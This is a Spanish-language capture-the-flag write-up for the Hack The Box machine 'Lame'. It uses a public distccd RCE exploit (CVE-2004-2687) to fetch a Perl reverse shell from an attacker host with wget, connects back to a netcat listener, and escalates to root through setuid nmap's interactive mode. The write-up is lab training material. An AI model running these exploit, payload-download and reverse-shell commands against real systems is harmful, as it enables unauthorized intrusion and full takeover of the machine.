Lame

Difficulty : Easy
Operating System : Linux
Rating : 4.5
Author : ch4p
Description
Esta maquina de dificultad "Easy" sera comprometida con un exploit publico para obtener el flag de usuario y aprovecharemos una mala configuracion de un binario conocido para escalar hasta el usuario root
Enumeration
Para la enumeracion basica vamos a utilizar una tool que he desarrollado especificamente para trabajar con maquinas en la plataforma hackthebox. Esta herramienta crea la carpeta de trabajo, realiza un escaneo basico con nmap y si encuentra un servicio web le lanza una enumeracion basica.
Descarga: HTBenum
Nmap
Nmap scan report for lame.htb (10.10.10.3)
Host is up (0.060s latency).
PORT STATE SERVICE VERSION
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
User Own
Como vemos en el escaneo con nmap, disponemos de un servicio expuesto en el puerto 3632. El servicio es distccd, un servicio que acepta y ejecuta trabajos de compilacion para clientes de red. En su version v1 tiene un RCE CVE-2004-2687 y un exploit publico que podemos aprovechar para ejecutar comandos arbitrarios en el servidor objetivo.
Descarga: distccd_rce_CVE-2004-2687.py
[root@htb lame]# python2 distccd_rce_CVE-2004-2687.py -t lame.htb -p 3632 -c "id;cat /etc/hostname"
[OK] Connected to remote service
--- BEGIN BUFFER ---
uid=1(daemon) gid=1(daemon) groups=1(daemon)
lame
--- END BUFFER ---
[OK] Done.
Una vez comprobado que el exploit funciona, vamos a enviarnos una revershell shell para trabajar comodamente y buscar la escalada al usuario root.
Descarga: rshell.pl
# 1) montamos un server http en la maquina de trabajo
[root@htb lame]# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.3 - - [27/Sep/2021 14:52:01] "GET /rshell.pl HTTP/1.0" 200 -
# 2) bajamos la rshell usando el exploit para distccd
[root@htb lame]# python distccd_rce_CVE-2004-2687.py -t lame.htb -p 3632 -c "wget http://10.10.14.9:8000/rshell.pl"
[OK] Connected to remote service
--- BEGIN BUFFER ---
--09:00:45-- http://10.10.14.9:8000/rshell.pl
=> `rshell.pl'
Connecting to 10.10.14.9:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1,156 (1.1K) [text/x-perl]
0K . 100% 325.78 MB/s
09:00:46 (325.78 MB/s) - `rshell.pl' saved [1156/1156]
--- END BUFFER ---
[OK] Done.
# 3) ponemos un netcat a la escucha en la maquina de trabajo
[root@htb ~]# nc -lvvp 7788
listening on [any] 7788 ...
# 4) lanzamos la rshell desde la maquina objetivo usando el exploit para distccd
[root@htb lame]# python distccd_rce_CVE-2004-2687.py -t lame.htb -p 3632 -c "perl rshell.pl 10.10.14.9 7788"
[OK] Connected to remote service
# 5) recibimos la nueva shell
[root@htb ~]# nc -lvvp 7788
listening on [any] 7788 ...
connect to [10.10.14.9] from lame.htb [10.10.10.3] 46132
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Lo siguiente que deberiamos hacer siempre que recibimos una reverse shell, es convertirla a una shell interactiva, para esto seguimos los siguientes pasos:
* python -c 'import pty;pty.spawn("/bin/bash")'
* Presionamos CTRL+Z para enviar el netcat a segundo plano.
* stty raw -echo
* fg
* reset
* stty -a # en nuestro entorno de trabajo
* stty rows 51 columns 171 # en el target
* export TERM=xterm;export SHELL=bash
daemon@lame:/tmp$ cd /home/makis/
daemon@lame:/home/makis$ ls -alt
total 28
-rw-r--r-- 1 makis makis 33 Sep 27 08:20 user.txt
-rw------- 1 makis makis 1107 Mar 14 2017 .bash_history
drwxr-xr-x 2 makis makis 4096 Mar 14 2017 .
-rw-r--r-- 1 makis makis 0 Mar 14 2017 .sudo_as_admin_successful
-rw-r--r-- 1 makis makis 220 Mar 14 2017 .bash_logout
-rw-r--r-- 1 makis makis 2928 Mar 14 2017 .bashrc
-rw-r--r-- 1 makis makis 586 Mar 14 2017 .profile
drwxr-xr-x 6 root root 4096 Mar 14 2017 ..
daemon@lame:/home/makis$
Root Own
Para escalar hacia el usuario root vamos a buscar binarios con el setuid root
daemon@lame:/home/makis$ find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \; 2>/dev/null
-rwsr-xr-x 1 root root 63584 Apr 14 2008 /bin/umount
-rwsr-xr-- 1 root fuse 20056 Feb 26 2008 /bin/fusermount
-rwsr-xr-x 1 root root 25540 Apr 2 2008 /bin/su
-rwsr-xr-x 1 root root 81368 Apr 14 2008 /bin/mount
-rwsr-xr-x 1 root root 30856 Dec 10 2007 /bin/ping
-rwsr-xr-x 1 root root 26684 Dec 10 2007 /bin/ping6
-rwsr-xr-x 1 root root 65520 Dec 2 2008 /sbin/mount.nfs
-rwxr-sr-x 1 root shadow 19584 Apr 9 2008 /sbin/unix_chkpwd
-rwsr-xr-- 1 root dhcp 2960 Apr 2 2008 /lib/dhcp3-client/call-dhclient-script
-rwsr-xr-x 2 root root 107776 Feb 25 2008 /usr/bin/sudoedit
-rwxr-sr-x 1 root utmp 3192 Apr 22 2008 /usr/bin/Eterm
-rwsr-sr-x 1 root root 7460 Jun 25 2008 /usr/bin/X
-rwxr-sr-x 1 root tty 8192 Dec 12 2007 /usr/bin/bsd-write
-rwsr-xr-x 1 root root 8524 Nov 22 2007 /usr/bin/netkit-rsh
-rwxr-sr-x 1 root ssh 76580 Apr 6 2008 /usr/bin/ssh-agent
-rwsr-xr-x 1 root root 37360 Apr 2 2008 /usr/bin/gpasswd
-rwxr-sr-x 1 root mlocate 30508 Mar 8 2008 /usr/bin/mlocate
-rwxr-sr-x 1 root crontab 26928 Apr 8 2008 /usr/bin/crontab
-rwsr-xr-x 1 root root 12296 Dec 10 2007 /usr/bin/traceroute6.iputils
-rwsr-xr-x 2 root root 107776 Feb 25 2008 /usr/bin/sudo
-rwsr-xr-x 1 root root 12020 Nov 22 2007 /usr/bin/netkit-rlogin
-rwxr-sr-x 1 root shadow 37904 Apr 2 2008 /usr/bin/chage
-rwxr-sr-x 1 root utmp 308228 Oct 23 2007 /usr/bin/screen
-rwxr-sr-x 1 root shadow 16424 Apr 2 2008 /usr/bin/expiry
-rwsr-xr-x 1 root root 11048 Dec 10 2007 /usr/bin/arping
-rwsr-sr-x 1 daemon daemon 38464 Feb 20 2007 /usr/bin/at
-rwxr-sr-x 1 root utmp 306996 Jan 2 2009 /usr/bin/xterm
-rwsr-xr-x 1 root root 19144 Apr 2 2008 /usr/bin/newgrp
-rwxr-sr-x 1 root tty 9960 Apr 14 2008 /usr/bin/wall
-rwsr-xr-x 1 root root 28624 Apr 2 2008 /usr/bin/chfn
-rwsr-xr-x 1 root root 780676 Apr 8 2008 /usr/bin/nmap
-rwsr-xr-x 1 root root 23952 Apr 2 2008 /usr/bin/chsh
-rwsr-xr-x 1 root root 15952 Nov 22 2007 /usr/bin/netkit-rcp
-rwsr-xr-x 1 root root 29104 Apr 2 2008 /usr/bin/passwd
-rwsr-xr-x 1 root root 46084 Mar 31 2008 /usr/bin/mtr
-rwsr-sr-x 1 libuuid libuuid 12336 Mar 27 2008 /usr/sbin/uuidd
-r-xr-sr-x 1 root postdrop 10312 Apr 18 2008 /usr/sbin/postqueue
-r-xr-sr-x 1 root postdrop 10036 Apr 18 2008 /usr/sbin/postdrop
-rwsr-xr-- 1 root dip 269256 Oct 4 2007 /usr/sbin/pppd
-rwsr-xr-- 1 root telnetd 6040 Dec 17 2006 /usr/lib/telnetlogin
-rwsr-xr-- 1 root www-data 10276 Mar 9 2010 /usr/lib/apache2/suexec
-rwsr-xr-x 1 root root 4524 Nov 5 2007 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 165748 Apr 6 2008 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 9624 Aug 17 2009 /usr/lib/pt_chown
-r-sr-xr-x 1 root root 14320 Nov 3 2020 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
-r-sr-xr-x 1 root root 9532 Nov 3 2020 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
El binario con permisos de root que llama la atencion es nmap
-rwsr-xr-x 1 root root 780676 Apr 8 2008 /usr/bin/nmap
Para explotar este binario podemos recurrir a GTFOBins y de las opciones disponibles para ejecutar comandos arbitrarios a traves de nmap, la mas sencilla es haciendo uso de nmap --interactive
daemon@lame:/home/makis$ nmap --interactive
Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-3.2# id
uid=1(daemon) gid=1(daemon) euid=0(root) groups=1(daemon)
sh-3.2# ls /root/
Desktop reset_logs.sh root.txt vnc.log
sh-3.2#